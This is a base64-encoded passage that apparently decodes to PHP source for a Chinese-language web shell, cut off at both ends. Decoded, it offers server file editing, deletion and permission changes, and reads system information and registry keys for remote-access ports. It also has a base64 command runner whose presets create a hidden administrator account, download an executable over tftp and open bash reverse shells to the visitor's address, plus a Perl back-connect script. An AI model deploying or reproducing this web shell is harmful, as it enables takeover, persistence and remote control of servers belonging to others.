KSl7DQoJCQkgICBpZihUZXN0VXRmOCgkRklMRV9DT0RFKT4xKXskY2hhcnNldD0gJ1VURi04JzskRklMRV9DT0RFID0gaWNvbnYoIlVURi04IiwiZ2IyMzEyLy9JR05PUkUiLCRGSUxFX0NPREUpO31lbHNleyRjaGFyc2V0PSAnR0IyMzEyJzt9DQoJCQkgIH1lbHNlew0KCQkJICAgaWYoJF9HRVRbJ2NoYXJzZXQnXT09J0dCMjMxMicpeyRjaGFyc2V0PSAnR0IyMzEyJzt9ZWxzZXskY2hhcnNldD0gJF9HRVRbJ2NoYXJzZXQnXTskRklMRV9DT0RFID0gaWNvbnYoJF9HRVRbJ2NoYXJzZXQnXSwiZ2IyMzEyLy9JR05PUkUiLCRGSUxFX0NPREUpO30NCgkJCSAgfQ0KCQkgIH0NCiAgICAgICAgJEZJTEVfQ09ERSA9IGh0bWxzcGVjaWFsY2hhcnMoJEZJTEVfQ09ERSk7DQoJfQ0KcHJpbnQ8PDxFTkQNCjxkaXYgY2xhc3M9ImFjdGFsbCI+sunV0sTayN06IDxpbnB1dCBuYW1lPSJzZWFyY2hzIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ieyRkaW19IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSKy6dXSIiBvbmNsaWNrPSJzZWFyY2goc2VhcmNocy52YWx1ZSkiPjwvZGl2Pg0KPGZvcm0gbWV0aG9kPSdQT1NUJyBpZD0iZWRpdG9yIiAgYWN0aW9uPSc/ZWFudmVyPW1haW4mcGF0aD17JHBwfSc+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZpbGUiICBpZD0ibmV3ZmlsZSIgdmFsdWU9InskcH0iIHN0eWxlPSJ3aWR0aDo3NTBweDsiPta4tqix4MLro7o8aW5wdXQgbmFtZT0iY2hhcnNldCIgaWQ9ImNoYXJzZXQiIHZhbHVlPSJ7JGNoYXJzZXR9IiBUeXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6ODBweDsiIG9ua2V5ZG93bj0iaWYoZXZlbnQua2V5Q29kZT09MTMpd2luZG93LmxvY2F0aW9uPSc/ZWFudmVyPWVkaXRyJnA9eyRqc3BhdGh9JmNoYXJzZXQ9Jyt0aGlzLnZhbHVlOyI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i0aHU8SIgb25jbGljaz0id2luZG93LmxvY2F0aW9uPSc/ZWFudmVyPWVkaXRyJnA9eyRqc3BhdGh9JmNoYXJzZXQ9Jyt0aGlzLmZvcm0uY2hhcnNldC52YWx1ZTsiIHN0eWxlPSJ3aWR0aDo1MHB4OyI+DQpFTkQ7DQpodG1sX3NlbGVjdChhcnJheSgiR0IyMzEyIiA9PiAiR0IyMzEyIiwiVVRGLTgiID0+ICJVVEYtOCIsIkJJRzUiID0+ICJCSUc1IiwiRVVDLUtSIiA9PiAiRVVDLUtSIiwiRVVDLUpQIiA9PiAiRVVDLUpQIiwiU0hJRlQtSklTIiA9PiAiU0hJRlQtSklTIiwiV0lORE9XUy04NzQiID0+ICJXSU5ET1dTLTg3NCIsIklTTy04ODU5LTEiID0+ICJJU08tODg1OS0xIiksJGNoYXJzZXQsIm9uY2hhbmdlPVwid2luZG93LmxvY2F0aW9uPSc/ZWFudmVyPWVkaXRyJnA9eyRqc3BhdGh9JmNoYXJzZXQ9JytvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlO1wiIik7DQpwcmludDw8PEVORA0KPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjx0ZXh0YXJlYSBuYW1lPSJ0eHQiIGlkPSJ0eHQiIHN0eWxlPSJ3aWR0aDoxMDAlO2hlaWdodDozODBweDsiPnskRklMRV9DT0RFfTwvdGV4dGFyZWE+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPs7EvP7Q3rjEyrG85CA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGltZSIgaWQ9Im10aW1lIiB2YWx1ZT0ieyRGSUxFX1RJTUV9IiBzdHlsZT0id2lkdGg6MTUwcHg7Ij4gPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJiaW4iIHZhbHVlPSJ3YisiIHNpemU9IiIgY2hlY2tlZD7S1Lb+vfjWxtDOyr2xo7TmzsS8/ii9qNLpyrnTwyk8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrGjtOYiIG9uY2xpY2s9IkNoZWNrRGF0ZSgpOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gPGlucHV0IG5hbWU9J3Jlc2V0JyB0eXBlPSdyZXNldCcgdmFsdWU9J9bY1sMnPg0KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ire1u9giIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP2VhbnZlcj1tYWluJnBhdGg9eyRwcH0nOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCglicmVhazsNCg0KCWNhc2UgInJlbmFtZSI6DQoJaHRtbF9uKCI8dHI+PHRkPiIpOw0KCSRuZXduYW1lID0gdXJsZGVjb2RlKCRwcCkuJy8nLnVybGVuY29kZSgkX0dFVFsnbmV3bmFtZSddKTsNCglAcmVuYW1lKCRwLCRuZXduYW1lKSA/IGh0bWxfYSgiP2VhbnZlcj1tYWluJnBhdGg9JHBwIix1cmxlbmNvZGUoJF9HRVRbJ25ld25hbWUnXSkuJyAnLiRtc2dbNF0pIDogbXNnKCRtc2dbNV0pOw0KCWRpZSgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9P2VhbnZlcj1tYWluJnBhdGg9Jy4kcHAuJyI+Jyk7DQoJYnJlYWs7DQoNCgljYXNlICJkZWx0cmVlIjoNCglodG1sX24oIjx0cj48dGQ+Iik7DQoJZG9fZGVsdHJlZSgkcCkgPyBodG1sX2EoIj9lYW52ZXI9bWFpbiZwYXRoPSRwcCIsJHAuJyAnLiRtc2dbNl0pIDogbXNnKCRtc2dbN10pOw0KCWRpZSgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9P2VhbnZlcj1tYWluJnBhdGg9Jy4kcHAuJyI+Jyk7DQoJYnJlYWs7DQoNCgljYXNlICJkZWwiOg0KCWh0bWxfbigiPHRyPjx0ZD4iKTsNCglAdW5saW5rKCRwKSA/IGh0bWxfYSgiP2VhbnZlcj1tYWluJnBhdGg9JHBwIiwkcC4nICcuJG1zZ1s2XSkgOiBtc2coJG1zZ1s3XSk7DQoJZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/ZWFudmVyPW1haW4mcGF0aD0nLiRwcC4nIj4nKTsNCglicmVhazsNCg0KCWNhc2UgImNvcHkiOg0KCWh0bWxfbigiPHRyPjx0ZD4iKTsNCgkkbmV3cGF0aCA9IGV4cGxvZGUoJy8nLCRfR0VUWyduZXdjb3B5J10pOw0KCSRwYXRoclswXSA9ICRuZXdwYXRoWzBdOw0KCWZvcigkaT0xOyRpIDwgY291bnQoJG5ld3BhdGgpOyRpKyspew0KCQkkcGF0aHJbXSA9IHVybGVuY29kZSgkbmV3cGF0aFskaV0pOw0KCX0NCgkkbmV3Y29weSA9IGltcGxvZGUoJy8nLCRwYXRocik7DQoJQGNvcHkoJHAsJG5ld2NvcHkpID8gaHRtbF9hKCI/ZWFudmVyPW1haW4mcGF0aD0kcHAiLCRuZXdjb3B5LicgJy4kbXNnWzRdKSA6IG1zZygkbXNnWzVdKTsNCglkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPT9lYW52ZXI9bWFpbiZwYXRoPScuJHBwLiciPicpOw0KCWJyZWFrOw0KDQoJY2FzZSAicGVybSI6DQoJaHRtbF9uKCI8Zm9ybSBtZXRob2Q9J1BPU1QnPjx0cj48dGQ+Ii4kcC4nIMr00NTOqjogJyk7DQoJaWYoaXNfZGlyKCRwKSl7DQoJCWh0bWxfc2VsZWN0KGFycmF5KCIwNzc3IiA9PiAiMDc3NyIsIjA3NTUiID0+ICIwNzU1IiwiMDU1NSIgPT4gIjA1NTUiKSwkX0dFVFsnY2htb2QnXSk7DQoJfWVsc2V7DQoJCWh0bWxfc2VsZWN0KGFycmF5KCIwNjY2IiA9PiAiMDY2NiIsIjA2NDQiID0+ICIwNjQ0IiwiMDQ0NCIgPT4gIjA0NDQiKSwkX0dFVFsnY2htb2QnXSk7DQoJfQ0KCWh0bWxfaW5wdXQoInN1Ym1pdCIsInNhdmUiLCLQ3rjEIik7DQoJYmFjaygpOw0KCWlmKCRfUE9TVFsnY2xhc3MnXSl7DQoJCXN3aXRjaCgkX1BPU1RbJ2NsYXNzJ10pew0KCQkJY2FzZSAiMDc3NyI6ICRjaGFuZ2UgPSBAY2htb2QoJHAsMDc3Nyk7IGJyZWFrOw0KCQkJY2FzZSAiMDc1NSI6ICRjaGFuZ2UgPSBAY2htb2QoJHAsMDc1NSk7IGJyZWFrOw0KCQkJY2FzZSAiMDU1NSI6ICRjaGFuZ2UgPSBAY2htb2QoJHAsMDU1NSk7IGJyZWFrOw0KCQkJY2FzZSAiMDY2NiI6ICRjaGFuZ2UgPSBAY2htb2QoJHAsMDY2Nik7IGJyZWFrOw0KCQkJY2FzZSAiMDY0NCI6ICRjaGFuZ2UgPSBAY2htb2QoJHAsMDY0NCk7IGJyZWFrOw0KCQkJY2FzZSAiMDQ0NCI6ICRjaGFuZ2UgPSBAY2htb2QoJHAsMDQ0NCk7IGJyZWFrOw0KCQl9DQoJCSRjaGFuZ2UgPyBodG1sX2EoIj9lYW52ZXI9bWFpbiZwYXRoPSRwcCIsJG1zZ1s0XSkgOiBtc2coJG1zZ1s1XSk7DQoJCWRpZSgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9P2VhbnZlcj1tYWluJnBhdGg9Jy4kcHAuJyI+Jyk7DQoJfQ0KCWh0bWxfbigiPC90ZD48L3RyPjwvZm9ybT4iKTsNCglicmVhazsNCg0KICAgIGNhc2UgImluZm9fZiI6DQoJJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoImRpc2FibGVfZnVuY3Rpb25zIik7DQoJJHVwc2l6ZSA9IGdldF9jZmdfdmFyKCJmaWxlX3VwbG9hZHMiKSA/IGdldF9jZmdfdmFyKCJ1cGxvYWRfbWF4X2ZpbGVzaXplIikgOiAisrvUytDtyc+0qyI7DQoJJGFkbWlubWFpbCA9IChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pKSA/ICI8YSBocmVmPVwibWFpbHRvOiIuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLiJcIj4iLiRfU0VSVkVSWydTRVJWRVJfQURNSU4nXS4iPC9hPiIgOiAiPGEgaHJlZj1cIm1haWx0bzoiLmdldF9jZmdfdmFyKCJzZW5kbWFpbF9mcm9tIikuIlwiPiIuZ2V0X2NmZ192YXIoInNlbmRtYWlsX2Zyb20iKS4iPC9hPiI7DQoJaWYoJGRpc19mdW5jID09ICIiKXskZGlzX2Z1bmMgPSAiTm8iO31lbHNleyRkaXNfZnVuYyA9IHN0cl9yZXBsYWNlKCIgIiwiPGJyPiIsJGRpc19mdW5jKTskZGlzX2Z1bmMgPSBzdHJfcmVwbGFjZSgiLCIsIjxicj4iLCRkaXNfZnVuYyk7fQ0KCSRwaHBpbmZvID0gKCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAiWWVzIiA6ICJObyI7DQoJJGluZm8gPSBhcnJheSgNCgkJYXJyYXkoIrf+zvHG98qxvOQiLGRhdGUoIlnE6m3UwmTI1SBoOmk6cyIsdGltZSgpKSksDQoJCWFycmF5KCK3/s7xxvfT8sP7IiwiPGEgaHJlZj1cImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiI8L2E+IiksDQoJCWFycmF5KCK3/s7xxvdJULXY1rciLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwNCgkJYXJyYXkoIrf+zvHG97LZ1/fPtc2zIixQSFBfT1MpLA0KCQlhcnJheSgit/7O8cb3stnX98+1zbPOxNfWseDC6yIsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLA0KCQlhcnJheSgit/7O8cb3veLS69L9x+YiLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksDQoJCWFycmF5KCLE47XESVAiLCRfU0VSVkVSWyJSRU1PVEVfQUREUiJdKSwNCgkJYXJyYXkoIldlYrf+zvG2y7/aIiwkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksDQoJCWFycmF5KCJQSFDUy9DQt73KvSIsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwNCgkJYXJyYXkoIlBIULDmsb4iLFBIUF9WRVJTSU9OKSwNCgkJYXJyYXkoItTL0NDT2rCyyKvEo8q9IixJbmZvX0NmZygic2FmZW1vZGUiKSksDQoJCWFycmF5KCK3/s7xxve53MDt1LEiLCRhZG1pbm1haWwpLA0KCQlhcnJheSgisb7OxLz+wre+tiIsbXlhZGRyZXNzKSwNCgkJYXJyYXkoItTK0O3KudPDIFVSTCC08r+qzsS8/iBhbGxvd191cmxfZm9wZW4iLEluZm9fQ2ZnKCJhbGxvd191cmxfZm9wZW4iKSksDQoJCWFycmF5KCLUytDtyrnTw2N1cmxfZXhlYyIsSW5mb19GdW4oImN1cmxfZXhlYyIpKSwNCgkJYXJyYXkoItTK0O22r8ysvNPU2MG0vdO/4iBlbmFibGVfZGwiLEluZm9fQ2ZnKCJlbmFibGVfZGwiKSksDQoJCWFycmF5KCLP1Mq+tO3O89DFz6IgZGlzcGxheV9lcnJvcnMiLEluZm9fQ2ZnKCJkaXNwbGF5X2Vycm9ycyIpKSwNCgkJYXJyYXkoItfUtq+2qNLlyKu+1rHkwb8gcmVnaXN0ZXJfZ2xvYmFscyIsSW5mb19DZmcoInJlZ2lzdGVyX2dsb2JhbHMiKSksDQoJCWFycmF5KCJtYWdpY19xdW90ZXNfZ3BjIixJbmZvX0NmZygibWFnaWNfcXVvdGVzX2dwYyIpKSwNCgkJYXJyYXkoIrPM0PLX7rbg1MrQ7cq508PE2rTmwb8gbWVtb3J5X2xpbWl0IixJbmZvX0NmZygibWVtb3J5X2xpbWl0IikpLA0KCQlhcnJheSgiUE9TVNfutPPX1r3ayv0gcG9zdF9tYXhfc2l6ZSIsSW5mb19DZmcoInBvc3RfbWF4X3NpemUiKSksDQoJCWFycmF5KCLUytDt1+6088nPtKvOxLz+IHVwbG9hZF9tYXhfZmlsZXNpemUiLCR1cHNpemUpLA0KCQlhcnJheSgis8zQ8tfus6TUy9DQyrG85CBtYXhfZXhlY3V0aW9uX3RpbWUiLEluZm9fQ2ZnKCJtYXhfZXhlY3V0aW9uX3RpbWUiKS4iw+siKSwNCgkJYXJyYXkoIrG7vfvTw7XEuq/K/SBkaXNhYmxlX2Z1bmN0aW9ucyIsJGRpc19mdW5jKSwNCgkJYXJyYXkoInBocGluZm8oKSIsJHBocGluZm8pLA0KCQlhcnJheSgixL/HsLu509C/1dPgv9W85GRpc2tmcmVlc3BhY2UiLGludHZhbChkaXNrZnJlZXNwYWNlKCIuIikgLyAoMTAyNCAqIDEwMjQpKS4nTWInKSwNCgkJYXJyYXkoIs280M60psDtIEdEIExpYnJhcnkiLEluZm9fRnVuKCJpbWFnZWxpbmUiKSksDQoJCWFycmF5KCJJTUFQtefX09PKvP7Ptc2zIixJbmZvX0Z1bigiaW1hcF9jbG9zZSIpKSwNCgkJYXJyYXkoIk15U1FMyv2+3b/iIixJbmZvX0Z1bigibXlzcWxfY2xvc2UiKSksDQoJCWFycmF5KCJTeUJhc2XK/b7dv+IiLEluZm9fRnVuKCJzeWJhc2VfY2xvc2UiKSksDQoJCWFycmF5KCJPcmFjbGXK/b7dv+IiLEluZm9fRnVuKCJvcmFfY2xvc2UiKSksDQoJCWFycmF5KCJPcmFjbGUgOCDK/b7dv+IiLEluZm9fRnVuKCJPQ0lMb2dPZmYiKSksDQoJCWFycmF5KCJQUkVMz+DI3dPvt6ggUENSRSIsSW5mb19GdW4oInByZWdfbWF0Y2giKSksDQoJCWFycmF5KCJQREbOxLW11qez1iIsSW5mb19GdW4oInBkZl9jbG9zZSIpKSwNCgkJYXJyYXkoIlBvc3RncmUgU1FMyv2+3b/iIixJbmZvX0Z1bigicGdfY2xvc2UiKSksDQoJCWFycmF5KCJTTk1QzfjC57ncwO3QrdLpIixJbmZvX0Z1bigic25tcGdldCIpKSwNCgkJYXJyYXkoItG5y/XOxLz+1qez1ihabGliKSIsSW5mb19GdW4oImd6Y2xvc2UiKSksDQoJCWFycmF5KCJYTUy94s72IixJbmZvX0Z1bigieG1sX3NldF9vYmplY3QiKSksDQoJCWFycmF5KCJGVFAiLEluZm9fRnVuKCJmdHBfbG9naW4iKSksDQoJCWFycmF5KCJPREJDyv2+3b/iway90yIsSW5mb19GdW4oIm9kYmNfY2xvc2UiKSksDQoJCWFycmF5KCJTZXNzaW9u1qez1iIsSW5mb19GdW4oInNlc3Npb25fc3RhcnQiKSksDQoJCWFycmF5KCJTb2NrZXTWp7PWIixJbmZvX0Z1bigiZnNvY2tvcGVuIikpLA0KCSk7DQoJJHNoZWxsID0gbmV3IENPTSgiV1NjcmlwdC5TaGVsbCIpIG9yIGRpZSgiVGhpcyB0aGluZyByZXF1aXJlcyBXaW5kb3dzIFNjcmlwdGluZyBIb3N0Iik7DQoJZWNobyAnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiPic7DQoJZm9yKCRpID0gMDskaSA8IGNvdW50KCRpbmZvKTskaSsrKXtlY2hvICc8dHI+PHRkIHdpZHRoPSI0MCUiPicuJGluZm9bJGldWzBdLic8L3RkPjx0ZD4nLiRpbmZvWyRpXVsxXS4nPC90ZD48L3RyPicuIlxuIjt9DQp0cnl7JHJlZ2lzdHJ5X3Byb3h5c3RyaW5nID0gJHNoZWxsLT5SZWdSZWFkKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXFNZU1RFTVxcQ3VycmVudENvbnRyb2xTZXRcXENvbnRyb2xcXFRlcm1pbmFsIFNlcnZlclxcV2RzXFxyZHB3ZFxcVGRzXFx0Y3BcUG9ydE51bWJlciIpOw0KJFRlbG5ldCA9ICRzaGVsbC0+UmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxTT0ZUV0FSRVxcTWljcm9zb2Z0XFxUZWxuZXRTZXJ2ZXJcXDEuMFxcVGVsbmV0UG9ydCIpOw0KJFBjQW55d2hlcmUgPSAkc2hlbGwtPlJlZ1JlYWQoIkhLRVlfTE9DQUxfTUFDSElORVxcU09GVFdBUkVcXFN5bWFudGVjXFxwY0FueXdoZXJlXFxDdXJyZW50VmVyc2lvblxcU3lzdGVtXFxUQ1BJUERhdGFQb3J0Iik7DQp9Y2F0Y2goRXhjZXB0aW9uICRlKXt9DQogICAgZWNobyAnPHRyPjx0ZCB3aWR0aD0iNDAlIj5UZXJtaW5hbCBTZXJ2aWNltsu/2s6qPC90ZD48dGQ+Jy4kcmVnaXN0cnlfcHJveHlzdHJpbmcuJzwvdGQ+PC90cj4nLiJcbiI7DQoJZWNobyAnPHRyPjx0ZCB3aWR0aD0iNDAlIj5UZWxuZXS2y7/azqo8L3RkPjx0ZD4nLiRUZWxuZXQuJzwvdGQ+PC90cj4nLiJcbiI7DQoJZWNobyAnPHRyPjx0ZCB3aWR0aD0iNDAlIj5QY0FueXdoZXJltsu/2s6qPC90ZD48dGQ+Jy4kUGNBbnl3aGVyZS4nPC90ZD48L3RyPicuIlxuIjsNCgllY2hvICc8L3RhYmxlPic7DQoJYnJlYWs7DQoNCg0KICAgIGNhc2UgImNtZCI6DQoJJHJlcyA9ICe72M/UtLC/2ic7DQoJJGNtZCA9ICd3aG9hbWknOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSl7JHJlcyA9IEV4ZWNfUnVuKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydjbWQnXSkpOyRjbWQgPSBodG1sc3BlY2lhbGNoYXJzKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydjbWQnXSkpO30NCg0KcHJpbnQ8PDxFTkQNCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gc0Z1bGwoaSl7DQoJU3RyID0gbmV3IEFycmF5KDExKTsNCglTdHJbMF0gPSAiZGlyIjsNCglTdHJbMV0gPSAibmV0IHVzZXIgbXlzcWwkIGVudmwgL2FkZCI7DQoJU3RyWzJdID0gIm5ldCBsb2NhbGdyb3VwIGFkbWluaXN0cmF0b3JzIG15c3FsJCAvYWRkIjsNCglTdHJbM10gPSAibmV0c3RhdCAtYW5vIjsNCglTdHJbNF0gPSAiaXBjb25maWciOw0KCVN0cls1XSA9ICJ0YXNrbGlzdCAvc3ZjIjsNCglTdHJbNl0gPSAidGZ0cCAtaSB7JF9TRVJWRVJbIlJFTU9URV9BRERSIl19IGdldCBzZXJ2ZXIuZXhlIGM6XFxzZXJ2ZXIuZXhlIjsNCglTdHJbN10gPSAiMDwmMTIzO2V4ZWMgMTIzPD4vZGV2L3RjcC97JF9TRVJWRVJbIlJFTU9URV9BRERSIl19LzEyNjY2OyBzaCA8JjEyMyA+JjEyMyAyPiYxMjMiOw0KCVN0cls4XSA9ICJiYXNoIC1pID4mIC9kZXYvdGNwL3skX1NFUlZFUlsiUkVNT1RFX0FERFIiXX0vMjM2NiAwPiYxIjsNCglTdHJbOV0gPSAibmV0c3RhdCAtdGxucCI7DQoJDQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLnZhbHVlID0gU3RyW2ldOw0KCXJldHVybiB0cnVlOw0KfQ0KRU5EOw0KaHRtbF9iYXNlKCk7DQpwcmludDw8PEVORA0KZnVuY3Rpb24gU3VibWl0VXJsKCl7DQoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykudmFsdWUgPSBiYXNlNjRlbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLnZhbHVlKTsNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdnZm9ybScpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Imdmb3JtIiBpZD0iZ2Zvcm0iID48Y2VudGVyPjxkaXYgY2xhc3M9ImFjdGFsbCI+1rTQ0MP8we7QwtT2uty24NL+sti6r8r9o6zN4rzTyrnTw0JBU0U2NLzTw9zM4b27o6y3wNa5sbvAuaOo0KHPuL3ao6y087PJvs2jqTwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+DQrD/MHuss7K/SA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBpZD0iY21kIiB2YWx1ZT0ieyRjbWR9IiBvbmtleWRvd249ImlmKGV2ZW50LmtleUNvZGU9PTEzKVN1Ym1pdFVybCgpOyIgc3R5bGU9IndpZHRoOjM5OXB4OyI+DQo8c2VsZWN0IG9uY2hhbmdlPSdyZXR1cm4gc0Z1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknPg0KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS3D/MHuvK+6zy0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj7M7bzTudzA7dSxPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIj7J6M6qudzA7dfpPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzIj6y6b+0tsu/2jwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCI+sum/tLXY1rc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUiPrLpv7S9+LPMPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI2Ij5GVFDPwtTYPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3Ij5MaW51eLe0ta88L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjgiPmJhc2i3tLWvPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI5Ij5MaW51eLbLv9o8L29wdGlvbj4NCjwvc2VsZWN0Pg0KCTxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLWtNDQIiBvbmNsaWNrPSJTdWJtaXRVcmwoKTsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PHRleHRhcmVhIG5hbWU9InNob3ciIHN0eWxlPSJ3aWR0aDo2NjBweDtoZWlnaHQ6Mzk5cHg7Ij57JHJlc308L3RleHRhcmVhPjwvZGl2PjwvY2VudGVyPg0KPC9mb3JtPg0KRU5EOw0KCWJyZWFrOw0KDQoNCg0KY2FzZSAibGludXgiOg0KDQoJJHlvdXJpcCA9ICRfQ09PS0lFWyd5b3VyaXAnXSA/ICRfQ09PS0lFWyd5b3VyaXAnXSA6IGdldGVudignUkVNT1RFX0FERFInKTsNCgkkeW91cnBvcnQgPSAkX0NPT0tJRVsneW91cnBvcnQnXSA/ICRfQ09PS0lFWyd5b3VycG9ydCddIDogJzEyMzg4JzsNCg0KCSRzeXN0ZW09c3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSk7DQpwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj7KudPDt723qKO6PGJyPg0KCQkJz8jU2tfUvLq158TU1MvQ0CJuYyAtdnYgLWwgMTIzODgiPGJyPg0KCQkJyLu689TatMvM7tC0xOO158TUtcRJUCy148GsvdOjobTLt7S1r7rcyKu63Mq108OjobD8wKhOQ7e0ta+joTwvZGl2Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJrZm9ybSIgaWQ9Imtmb3JtIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+xOO1xLXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InlvdXJpcCIgdmFsdWU9InskeW91cmlwfSIgc3R5bGU9IndpZHRoOjQwMHB4Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+way907bLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InlvdXJwb3J0IiB2YWx1ZT0ieyR5b3VycG9ydH0iIHN0eWxlPSJ3aWR0aDo0MDBweCI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPta00NC3vcq9IDxzZWxlY3QgbmFtZT0idXNlIiA+DQo8b3B0aW9uIHZhbHVlPSJwZXJsIj5QZXJsPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJjIj5DPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJwaHAiPlBIUDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ibmMiPk5DPC9vcHRpb24+DQo8L3NlbGVjdD48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ir+qyrzBrL3TIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4NCkVORDsNCglpZigoIWVtcHR5KCRfUE9TVFsneW91cmlwJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsneW91cnBvcnQnXSkpKQ0KCXsNCiAgICBzZXRjb29raWUoJ3lvdXJpcCcsJGJhY2tpcCk7DQoJc2V0Y29va2llKCd5b3VycG9ydCcsJGJhY2twb3J0KTsNCg0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCWlmKCRfUE9TVFsndXNlJ10gPT0gJ3BlcmwnKQ0KCQl7DQoJCQkkYmFja19jb25uZWN0X3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4NCgkJCSJhRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSIi4NCgkJCSJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUIi4NCgkJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4NCgkJCSJrVnljb